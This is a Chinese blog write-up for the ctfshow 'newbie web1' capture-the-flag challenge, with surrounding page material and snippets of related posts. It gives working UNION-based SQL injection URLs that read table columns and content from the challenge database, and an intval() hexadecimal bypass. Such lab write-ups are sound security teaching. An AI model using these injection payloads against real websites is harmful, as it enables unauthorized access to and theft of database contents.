ctfshow—萌新—web1

Wcbddd

已于 2023-08-15 14:09:13 修改

阅读量249

点赞数

文章标签：安全

于 2023-08-15 14:04:22 首次发布

本文链接：https://blog.csdn.net/HAI_WD/article/details/132295091

版权

0x00 前言

CTF 加解密合集
CTF Web合集

0x01 题目

在这里插入图片描述

0x02 Write Up

解法1

标准的数字型注入

查列名

http://cc3ecc3f-8c42-4624-979e-277a51ea85d2.challenge.ctf.show/?id=1%20union%20select%20table_name,column_name,3%20from%20information_schema.columns%20where%20table_name=%27article%27%20--+

在这里插入图片描述
查数据

http://cc3ecc3f-8c42-4624-979e-277a51ea85d2.challenge.ctf.show/?id=1%20union%20select%201,content,3%20from%20article%20--+

在这里插入图片描述

解法2

intval()函数如果遇到0x就会识别为0，所以可以通过十六进制进行查询?id=0x3E8

在这里插入图片描述

以上

关注博主即可阅读全文

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Wcbddd

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
ctfshow—萌新—web1

【代码】ctfshow—萌新—web1。
复制链接

扫一扫

ctfshow-web5

ElsonHY的博客

12-20

576

靶场地址：ctf.show 1.读代码 v1：参数要求为字母。 v2：参数要求为数字。当v1和v2的MD5相同时，打印出flag的值。 2.md5碰撞不同数据的md5是不会相等的，但是这边用的是==，如果得出的md5值是"0e"+"数字" 的格式，就会被当作科学计数法，值都为0。举例：只要找到对应格式的MD5值的全字母和全数字的值就可以了。我用python写了一个自动化程序找出对应格式的md5值，只要修改对应的payload就可以了。好家伙，这几率和买彩票一样，对应全数字和全字母一共跑了几个

ctfshow web139命令盲注脚本

10-21

ctfshow靶场 web入门 web139 命令盲注脚本

参与评论您还未登录，请先登录后发表或查看评论

CTFShow：萌新web1

weixin_64089259的博客

04-14

912

第一次做web1题目，刚开始一脸懵逼，看了大佬的一些博客，才做出来，心里非常激动！

ctf.show萌新_web1

人若无名，便可专心练剑

04-28

226

id=100 or id=1000//就是用一个id小于999的来进行验证，然后再给他一个1000的值进行判断。得到flag:ctfshow{10d957e0-b365-4483-bc47-ec076c86ac64}web2 ：相同的原理，直接为?，所以两次操作就会变为原来的数字。，是在这个数字加一的基础上进行。

ctfshow 萌新web系列--1

qq_61632010的博客

08-25

742

打开靶机 <html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id...

ctfshow-萌新-web1( 利用intval函数的特性获取敏感数据)

热门推荐

wangyuxiang946的博客

09-08

1万+

ctf.show 萌新模块的web1关, 这一关考察的是intval()函数转换字符串时的特性以及SQL的拼接绕过这一关直接就给了源码, 并提示我们 id = 1000 时, 就是flag 先分析一下源码, 首先是 intval()函数将参数id转换为数值型, id > 999直接die()结束程序, 也就是说我们传递的id不能大于 999, 明知道1000就是flag, 但不能直接传1000, 否则程序会直接die()结束, 传递的id 即不能大于999, 又需要查询 1...

ctfshow之_萌新web1至web7

XiaoXiao_RenHe的专栏

04-29

1459

ctfshow之_萌新web1至web7问题解答；intval、~~sql语句的2次取反、|或运算、^异或运算、

CTFSHOW web183 正则爆破脚本

10-21

CTFSHOW web183 正则爆破脚本

CTFSHOW web193 left标注盲注脚本

05-04

这段代码是一个用于获取某个网站的 flag 的脚本。它使用了 SQL 注入漏洞来获取 flag。具体来说，它通过构造 SQL 语句的方式，逐个字符地获取 flag。其中，它通过修改注入语句中的 payload 变量，来获取不同的信息，...

CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$

03-04

【标题】"CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$" 指的是一项网络安全竞赛中的Web题目，该题目重点在于理解PHP编程语言中的变量循环取值机制。在CTF（Capture The Flag）比赛中，参赛者通常需要解决各种...

CTF show萌新题系列

12-22

题目地址：https://ctf.show 0X01 萌新_密码1 1.16进制转字符串有很多网站可以实现，这里我也附上我的脚本： # author: 羽 def hex_to_str(): while True: s = input("输入要转成字符串的16进制(输入空字符串退出)：") if s=='': break k='' try: for i in range(0,len(s),2): j = s[i]+s[i+1]

ctfshow web184 正则爆破脚本0x16进制

10-21

ctfshow web184 正则爆破脚本0x16进制

{CTFshow} 萌新web1 详解

lfc18950509270的博客

08-06

309

好家伙，直接明了，就是让我审计代码，看完发现，我们要用get方式提交，flag在id=1000，但是直接提交id=1000会返回错误，所以我们需要再添加一个id用来防止被拦截。没错，本来是这样的，但是我们查看id=2的内容的时候，发现为空，所以排序的时候id=2会排在后面，id=1000就变成了第一个（先看看id=1时它的内容，我们一定要仔细看它的sql语句，并且要掌握limit的用法：查完之后从小到大排序选前1个。这个时候就有问题了，从小到大的话，那前一个不是id=2的内容吗？讲一下我的理解，以供参考。

CTFShow 萌新体验web1~4 WriteUp

最新发布

m0_63716101的博客

11-20

182

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息，如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候，日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。此时较为合理的是在password处进行sql注入，如果在name处进行SQL注入，此时的#会注释到后面的password,这个题目木有限制，但在其他题目中，可能会出现这种情况，也可以在name中注入，但要注意不要影响后面的password。

ctfshow-web萌新赛（详解）

m0_63641882的博客

11-06

326

1.addslashes函数+sping的漏洞2.cookie的盗用3.代码审计+正则过滤。

ctfshow之web入门1

夜未至

03-21

496

在开发场景中，开发人员会忘记将开发时的注释删掉，导致一些意外的问题( 如：getshell)，但是在真实场景中基本上是不可能发生的。不过作为初学者应该去了解这些问题。

CTFshow-Web入门-Web1-20 （信息收集完结篇）

m0_61155226的博客

03-07

7723

CTFshow-Web入门-Web11-20 （信息收集完结篇）

ctfshow 萌新web1-21

akxnxbshai的博客

07-29

1357

ctfshow 萌新题 web1-21

ctfshow web入门（1）

2202_75317918的博客

09-14

263

ctfshow web入门（1）

ctfshow萌新web

09-02

- *1* *2* *3* [CTFShow：萌新web1](https://blog.csdn.net/weixin_64089259/article/details/130144716)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_...